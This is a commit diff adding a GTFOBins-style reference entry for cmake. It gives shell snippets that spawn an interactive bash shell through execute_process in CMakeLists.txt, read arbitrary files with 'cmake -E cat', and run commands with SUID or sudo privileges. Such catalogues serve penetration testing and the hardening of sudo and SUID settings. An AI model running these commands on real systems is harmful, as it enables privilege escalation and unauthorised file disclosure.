Added entry for 'cmake' binary

_gtfobins/cmake.md

@@ -0,0 +1,24 @@
+---
+functions:
+  shell:
+    - description: It can be used to break out from a restricted environment by spawning an interactive system shell.
+      code: |
+        echo "execute_process(COMMAND bash -i)" > CMakeLists.txt
+        cmake .
+  file-read:
+    - description: It can read files, and may be used to perform privileged reads or discloe files outside a restrited file system
+      code: |
+        LFILE=file_to_read
+        cmake -E cat $LFILE
+
+  limited-suid:
+    - description: It can perform execution in a privileged context, given the SUID bit is set
+      code: |
+        echo "execute_process(COMMAND whoami)" > CMakeLists.txt
+        cmake .
+  sudo:
+    - description: It can perform execution in a privileged context, given the user can run the binary with sudo
+      code: |
+        echo "execute_process(COMMAND bash -i)" > CMakeLists.txt
+        sudo cmake .
+---